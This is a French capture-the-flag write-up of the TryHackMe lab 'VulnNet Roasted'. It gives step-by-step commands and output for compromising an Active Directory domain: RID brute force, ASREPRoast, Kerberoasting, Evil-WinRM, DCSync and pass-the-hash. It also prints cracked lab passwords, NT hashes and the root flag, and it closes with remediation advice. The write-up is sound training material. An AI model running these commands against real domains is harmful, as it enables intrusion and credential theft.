Lab VulnNet Roasted : RID Brute Force, ASREPRoast et Kerberoasting en Chaîne jusqu'au DCSync
Pentest black-box d'un contrôleur de domaine Active Directory : énumération SMB en session guest, RID Brute Force pour lister les comptes, collecte d'identités via des partages anonymes, ASREPRoast puis Kerberoasting en chaîne pour pivoter entre trois comptes, découverte de credentials dans un script NETLOGON, et élévation finale à l'Administrateur du domaine via DCSync et Pass-the-Hash.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | TryHackMe |
| Lien | Accéder au lab |
| Cible | WIN-2BO8M1OE1M1.vulnnet-rst.local, 10.112.165.89 |
| OS | Windows 10 / Server 2019 (Build 17763) |
| Domaine | vulnnet-rst.local |
| Difficulté | Facile |
Scénario : VulnNet Entertainment vient de déployer une nouvelle instance sur son réseau, administrée par des sysadmins fraîchement recrutés. L'entreprise, soucieuse de sa sécurité, mandate un test d'intrusion pour évaluer la qualité de cette administration. Le lab est annoncé comme volontairement simple, à résoudre avec une méthodologie standard.
Kill chain :
Accès réseau sans credentials
│
▼
SMB guest → partages anonymes + RID Brute Force → 8 comptes + identités
│
▼
ASREPRoast → t-skid sans pré-auth → hash cracké → tj072889*
│
▼
Kerberoasting avec t-skid → SPN CIFS sur enterprise-core-vn → hash cracké
│
▼
Evil-WinRM (enterprise-core-vn) → Flag user
│
▼
Partage NETLOGON → ResetPassword.vbs → credentials a-whitehat (Domain Admin)
│
▼
DCSync (secretsdump) → hash NT Administrator → Pass-the-Hash → Flag root
1. Reconnaissance
rustscan -b 500 -a 10.112.165.89 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-29 14:10:50Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local)
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local)
3269/tcp open tcpwrapped syn-ack ttl 126
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
[...]
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
Analyse :
La combinaison DNS (53), Kerberos (88), LDAP (389/3268), SMB (139/445 implicite), kpasswd (464) et RPC over HTTP (593) est la signature classique d'un contrôleur de domaine Active Directory. Le nom de domaine vulnnet-rst.local et le nom NetBIOS de la machine WIN-2BO8M1OE1M1 sont directement révélés par les bannières de service, sans avoir besoin de credentials.
Le port 5985 (WinRM) est ouvert : si des credentials valides sont obtenus, un shell distant via Evil-WinRM sera possible sans dépendre d'un exploit.
On génère un fichier de résolution DNS locale directement avec NetExec :
nxc smb 10.112.165.89 -u '' -p '' --generate-hosts-file hosts --smb-timeout 30
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\:
cat hosts
10.112.165.89 WIN-2BO8M1OE1M1.vulnnet-rst.local vulnnet-rst.local WIN-2BO8M1OE1M1
Un détail important apparaît déjà dans la sortie : (Null Auth:True). La session anonyme (null session) est acceptée par la machine. Reste à voir jusqu'où elle permet d'énumérer.
2. Énumération de Base : Partages et Utilisateurs
Les Partages
On commence par tester la connexion anonyme pure, puis la connexion en tant qu'invité (guest), qui est un compte réel bien que non privilégié :
nxc smb 10.112.165.89 -u '' -p '' --shares --smb-timeout 30
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\:
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc smb 10.112.165.89 -u 'guest' -p '' --shares --smb-timeout 30
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\guest:
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [*] Enumerated shares
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 Share Permissions Remark
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 ----- ----------- ------
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 ADMIN$ Remote Admin
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 C$ Default share
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 IPC$ READ Remote IPC
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 NETLOGON Logon server share
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 SYSVOL Logon server share
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 VulnNet-Business-Anonymous READ VulnNet Business Sharing
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 VulnNet-Enterprise-Anonymous READ VulnNet Enterprise Sharing
Différence null vs guest : la session null s'ouvre (le pipe IPC$ répond), mais n'a pas le droit d'énumérer les partages (STATUS_ACCESS_DENIED). Le compte guest, lui, est un compte de domaine réel activé sans mot de passe, et hérite de droits d'énumération plus larges.
On repère surtout deux partages non standard en lecture : VulnNet-Business-Anonymous et VulnNet-Enterprise-Anonymous. Ce sont les premières pistes à explorer.
Les Utilisateurs
nxc smb vulnnet-rst.local -u 'guest' -p '' --users --smb-timeout 30
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\guest:
Le flag --users ne retourne rien : la session invité n'a pas le droit d'appeler SAMR EnumDomainUsers. On passe au RID Brute Force, une technique différente qui ne nécessite pas ce droit spécifique.
nxc smb vulnnet-rst.local -u 'guest' -p '' --rid-brute --smb-timeout 30 > rid.txt
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 500: VULNNET-RST\Administrator (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 501: VULNNET-RST\Guest (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 502: VULNNET-RST\krbtgt (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 512: VULNNET-RST\Domain Admins (SidTypeGroup)
[...]
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 1105: VULNNET-RST\a-whitehat (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 1109: VULNNET-RST\t-skid (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 1110: VULNNET-RST\j-goldenhand (SidTypeUser)
SMB 10.112.165.89 445 WIN-2BO8M1OE1M1 1111: VULNNET-RST\j-leet (SidTypeUser)
On nettoie la sortie pour ne garder que les comptes utilisateurs exploitables (on écarte le compte machine WIN-2BO8M1OE1M1$, les comptes built-in inutiles pour l'attaque, et krbtgt) :
# On garde que les utilisateurs (on retire les groupes et les alias)
grep "SidTypeUser" rid.txt | awk -F'\\' '{print $2}' > dump_users.txt
# On retire les comptes machines ($) des utilisateurs
grep -v '\$' dump_users.txt | awk '{print $1}' > users.txt
# On affiche les utilisateurs
cat users.txt
Administrator
Guest
krbtgt
enterprise-core-vn
a-whitehat
t-skid
j-goldenhand
j-leet
Cette liste de huit comptes va servir de base à toutes les attaques Kerberos suivantes.
3. Exploration des Partages Anonymes
Deux pistes s'offrent ici : lancer directement un ASREPRoast sur users.txt, ou d'abord fouiller les partages en lecture pour glaner du contexte. On choisit la seconde option, car les noms VulnNet-Business-Anonymous et VulnNet-Enterprise-Anonymous sont clairement volontaires de la part des créateurs du lab.
VulnNet-Enterprise-Anonymous
smbclient //vulnnet-rst.local/VulnNet-Enterprise-Anonymous -U guest%''
smb: \> mget *
Get file Enterprise-Operations.txt? yes
Get file Enterprise-Safety.txt? yes
Get file Enterprise-Sync.txt? yes
cat Enterprise-Safety.txt
VULNNET SAFETY
~~~~~~~~~~~~~~~~
Tony Skid is a core security manager and takes care of internal infrastructure.
We keep your data safe and private. [...] we've got it locked down tighter than Alcatraz.
We partner with TryHackMe, use 128-bit SSL encryption, and create daily backups.
cat Enterprise-Sync.txt
VULNNET SYNC
~~~~~~~~~~~~~~
Johnny Leet keeps the whole infrastructure up to date and helps you sync all of your apps.
[...] To contact our sync manager call this number: 7331 0000 1337
Ces fichiers, sous couvert de contenu marketing, exposent en réalité une cartographie humaine de l'organisation : Tony Skid est le responsable sécurité et infrastructure interne, Johnny Leet gère la synchronisation applicative. Le premier fichier (Enterprise-Operations.txt) ne contient qu'un texte générique sans nom exploitable.
VulnNet-Business-Anonymous
smbclient //vulnnet-rst.local/VulnNet-Business-Anonymous -U guest%''
cat Business-Manager.txt
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~
Alexa Whitehat is our core business manager. All business-related offers, campaigns,
and advertisements should be directed to her. [...]
To contact our core business manager call this number: 1337 0000 7331
cat Business-Sections.txt
VULNNET BUSINESS
~~~~~~~~~~~~~~~~~~~
Jack Goldenhand is the person you should reach to for any business unrelated proposals.
On obtient ici Alexa Whitehat (responsable business) et Jack Goldenhand (gestion des propositions). Combiné au RID brute force, on peut désormais faire correspondre chaque login technique à une identité et un rôle :
| Login | Identité | Rôle |
|---|---|---|
t-skid | Tony Skid | Responsable sécurité / infra interne |
j-leet | Johnny Leet | Synchronisation applicative |
a-whitehat | Alexa Whitehat | Business manager |
j-goldenhand | Jack Goldenhand | Propositions commerciales |
enterprise-core-vn | N/A | Compte de service (probable) |
Aucun mot de passe n'est exposé directement dans ces fichiers. L'exploration des partages n'a donc pas donné d'accès immédiat, mais elle confirme des cibles humaines prioritaires pour les attaques Kerberos suivantes, en particulier t-skid, identifié comme responsable sécurité.
4. ASREPRoast
Référence : Kerberos AS-REP Roasting - HackTricks
Exploitation
impacket-GetNPUsers vulnnet-rst.local/ -usersfile users.txt -format hashcat -dc-ip 10.112.165.89 -outputfile ASREProastables.txt
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:3eae50a3427688f717440cea16338001$4b01b60afa5935ee2b5fd045de295483e14c3bc852bf16042e507006de2f6b6...
Tony Skid (t-skid) est vulnérable : c'est le seul compte de la liste sans pré-authentification requise.
Cassage avec Hashcat
hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:[...]:tj072889*
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Premier compte compromis :
t-skid : tj072889*
5. Kerberoasting
Référence : Kerberoasting - HackTricks
Exploitation
impacket-GetUserSPNs vulnnet-rst.local/t-skid:'tj072889*' -dc-ip 10.112.165.89 -outputfile kerberoastables.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
---------------------- ------------------ ------------------------------------------------------------- -------------------------- --------------------------
CIFS/vulnnet-rst.local enterprise-core-vn CN=Remote Management Users,CN=Builtin,DC=vulnnet-rst,DC=local 2021-03-11 20:45:09.913979 2021-03-14 00:41:17.987528
Un seul compte porte un SPN : enterprise-core-vn, avec un SPN CIFS/vulnnet-rst.local, et surtout, il est membre du groupe Remote Management Users, ce qui signifie qu'il peut se connecter via WinRM une fois son mot de passe cassé.
Cassage avec Hashcat
hashcat -m 13100 -a 0 kerberoastables.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*enterprise-core-vn$VULNNET-RST.LOCAL$vulnnet-rst.local/enterprise-core-vn*[...]:ry=ibfkfv,s6h,
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Deuxième compte compromis :
enterprise-core-vn : ry=ibfkfv,s6h,
6. Accès WinRM en tant que enterprise-core-vn
Avant de se connecter, on confirme l'appartenance au groupe Remote Management Users via une requête LDAP directe :
ldapsearch -x -H ldap://10.112.151.125 -D "enterprise-core-vn@vulnnet-rst.local" -w 'ry=ibfkfv,s6h,' -b "DC=vulnnet-rst,DC=local" "(sAMAccountName=enterprise-core-vn)"

Le groupe est confirmé. On se connecte directement via Evil-WinRM :
evil-winrm -u enterprise-core-vn -i vulnnet-rst.local -p 'ry=ibfkfv,s6h,'

Flag Utilisateur
Le flag est vraisemblablement sur le bureau de l'utilisateur courant, on va le récupérer avant de poursuivre l'escalade :

7. Impasse : PrivescCheck et BloodHound
Énumération Locale Automatisée
Après une revue manuelle infructueuse des vecteurs de privesc classiques (services mal configurés, tâches planifiées, fichiers de configuration), on lance PrivescCheck pour une couverture plus large. Aucun résultat exploitable n'en ressort.
Cartographie BloodHound
On lance une collecte BloodHound depuis le compte enterprise-core-vn afin de vérifier si un chemin d'attaque basé sur les ACL du domaine existe vers un compte plus privilégié.

On sait déjà qu'il n'y a que deux comptes administrateurs dans ce domaine. On lance une analyse "Shortest Path from Owned Objects" :

Résultat : aucun chemin exploitable. L'énumération BloodHound se révèle ici infructueuse, on décide de revenir à une approche plus manuelle : l'exploration exhaustive des partages SMB par défaut, qu'on n'avait pas encore couverts (IPC$, SYSVOL, NETLOGON), cette fois avec des credentials valides.
8. Exploration des Partages par Défaut
L'exploration de IPC$ et SYSVOL ne remonte rien de pertinent. Mais dans NETLOGON, un fichier attire l'attention :
smbclient //vulnnet-rst.local/NETLOGON -U enterprise-core-vn%'ry=ibfkfv,s6h,'
smb: \> ls
ResetPassword.vbs A 2821 Wed Mar 17 00:18:14 2021
smb: \> get ResetPassword.vbs
Le partage NETLOGON est répliqué sur tous les contrôleurs de domaine et sert normalement à distribuer des scripts de connexion (logon scripts) aux postes clients. Trouver un script de réinitialisation de mot de passe peut révéler des credentials en dur.
En ouvrant le fichier, on découvre effectivement les identifiants d'Alexa Whitehat, la responsable business identifiée plus tôt. Membre du groupe Domain Admins :

a-whitehat : bNdKVkjv3RR9ht
Validation des Credentials
nxc smb vulnnet-rst.local -u 'a-whitehat' -p 'bNdKVkjv3RR9ht' --shares --smb-timeout 30
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 Share Permissions Remark
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 ADMIN$ READ,WRITE Remote Admin
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 C$ READ,WRITE Default share
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 NETLOGON READ,WRITE Logon server share
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 SYSVOL READ,WRITE Logon server share
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 VulnNet-Business-Anonymous READ
SMB 10.113.129.215 445 WIN-2BO8M1OE1M1 VulnNet-Enterprise-Anonymous READ
Le tag (Pwn3d!) affiché par NetExec confirme que ce compte dispose de droits d'administration : accès en écriture sur ADMIN$ et C$, ce qui signifie qu'il fait partie du groupe local Administrators de la machine.
Troisième compte compromis, cette fois administrateur local :
a-whitehat : bNdKVkjv3RR9ht
9. Tentative d'Accès Direct au Flag Root
Étant administrateur, a-whitehat devrait aussi appartenir au groupe des Remote Management Users. On tente une connexion WinRM directe :
evil-winrm -u a-whitehat -i 10.113.129.215 -p 'bNdKVkjv3RR9ht'
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type system.txt
Access to the path 'C:\Users\Administrator\Desktop\system.txt' is denied.
+ CategoryInfo : PermissionDenied: (C:\Users\Admini...ktop\system.txt:String) [Get-Content], UnauthorizedAccessException
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
vulnnet-rst\a-whitehat
L'accès est refusé malgré l'appartenance à Domain Admins. La cause est le filtrage UAC à distance (LocalAccountTokenFilterPolicy) : via WinRM, Windows attribue de force un jeton standard filtré à tous les comptes d'administration, à l'exception du compte Administrator intégré (RID 500). Le cd fonctionne car les permissions NTFS par défaut autorisent la navigation (Traverse Folder) pour le groupe Administrators, mais la lecture du fichier exige le jeton d'administration complet, qui est filtré.
L'option la plus directe est de récupérer le hash NT du compte Administrator lui-même via DCSync, puis de s'authentifier directement en tant que lui.
10. DCSync et Élévation Finale
Exploitation
impacket-secretsdump -just-dc 'vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.113.129.215' -dc-ip 10.113.129.215
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7633f01273fc92450b429d6067d1ca32:::
vulnnet-rst.local\enterprise-core-vn:1104:aad3b435b51404eeaad3b435b51404ee:8752ed9e26e6823754dce673de76ddaf:::
vulnnet-rst.local\a-whitehat:1105:aad3b435b51404eeaad3b435b51404ee:1bd408897141aa076d62e9bfc1a5956b:::
vulnnet-rst.local\t-skid:1109:aad3b435b51404eeaad3b435b51404ee:49840e8a32937578f8c55fdca55ac60b:::
vulnnet-rst.local\j-goldenhand:1110:aad3b435b51404eeaad3b435b51404ee:1b1565ec2b57b756b912b5dc36bc272a:::
vulnnet-rst.local\j-leet:1111:aad3b435b51404eeaad3b435b51404ee:605e5542d42ea181adeca1471027e022:::
La vraie faille ici est qu'un compte business (a-whitehat) soit membre de Domain Admins : cette appartenance lui confère automatiquement les droits de réplication (DCSync) sur le domaine, sans qu'aucune ACL explicite n'ait besoin d'être posée.
Hash NT de l'Administrateur du domaine :
Administrator:c2597747aa5e43022a3a3049a3c3b09d
Pass-the-Hash et Récupération du Flag Root
evil-winrm -u Administrator -i 10.113.129.215 -H c2597747aa5e43022a3a3049a3c3b09d
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}
Flag root récupéré. Compromission complète du domaine.
11. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → WIN-2BO8M1OE1M1.vulnnet-rst.local, DC Windows, WinRM ouvert
2. SMB null vs guest → guest énumère partages + RID Brute Force → 8 comptes
3. Partages anonymes → identités : Tony Skid, Johnny Leet, Alexa Whitehat, Jack Goldenhand
4. ASREPRoast → t-skid sans pré-auth → hash cracké → tj072889*
5. Kerberoasting → SPN CIFS sur enterprise-core-vn → hash cracké
6. Evil-WinRM → enterprise-core-vn (Remote Management Users) → Flag user
7. PrivescCheck/BloodHound → aucun chemin d'escalade exploitable
8. Partage NETLOGON → ResetPassword.vbs → credentials a-whitehat (Domain Admin)
9. Lecture directe → refusée (ACL NTFS spécifique à Administrator)
10. DCSync → hash NT Administrator via appartenance Domain Admins
11. Pass-the-Hash → Administrator → Flag root
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Session guest activée | Le compte invité, actif et sans mot de passe, permet l'énumération des partages et du RID | Désactiver le compte Guest au niveau du domaine (Get-ADUser Guest | Disable-ADAccount) et restreindre RestrictAnonymous/RestrictAnonymousSAM |
| Partages anonymes en lecture | Des fichiers texte accessibles sans authentification exposent l'organigramme interne | Retirer les droits Everyone/Guest sur les partages métiers ; ne jamais publier de données organisationnelles sur des partages non authentifiés |
| ASREPRoast sur t-skid | La pré-authentification Kerberos est désactivée sur un compte à privilèges | Activer la pré-authentification sur tous les comptes ; auditer avec Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
| Mot de passe faible (rockyou) | tj072889* et ry=ibfkfv,s6h, sont cassables en quelques secondes avec une wordlist standard | Imposer une politique de mots de passe forts (16+ caractères) et bloquer les mots de passe compromis via Azure AD Password Protection ou équivalent on-prem |
| Kerberoasting sur un compte de service | enterprise-core-vn porte un SPN avec un mot de passe faible | Utiliser des gMSA (Group Managed Service Accounts) avec rotation automatique pour tout compte de service porteur de SPN |
| Credentials en dur dans NETLOGON | ResetPassword.vbs contient les identifiants d'un compte administrateur en clair | Ne jamais stocker de secrets dans des scripts de logon répliqués sur tous les DC. Utiliser un coffre de secrets (gMSA, LAPS, Vault) et journaliser les accès |
| Compte business dans Domain Admins | a-whitehat, un compte métier, est membre de Domain Admins, ce qui lui confère automatiquement DCSync | Appliquer le principe du moindre privilège : aucun compte métier dans Domain Admins. Utiliser des comptes d'administration dédiés (tiering) et auditer régulièrement les membres des groupes privilégiés |
| Pass-the-Hash possible | L'authentification NTLM est acceptée sur WinRM | Activer le groupe Protected Users pour les comptes sensibles, privilégier Kerberos-only et désactiver NTLM via GPO |
[!NOTE] Ce lab illustre un scénario très représentatif d'un environnement AD réel : aucune vulnérabilité n'est à elle seule suffisante, mais leur enchaînement, session guest active, informations organisationnelles exposées, deux comptes roastables, un script de logon avec des credentials en dur, et des droits DCSync mal attribués permet une compromission complète du domaine sans jamais exploiter de CVE. C'est la combinaison de petites erreurs de configuration, chacune anodine prise isolément, qui construit la kill chain.
Writeup rédigé par Zcook
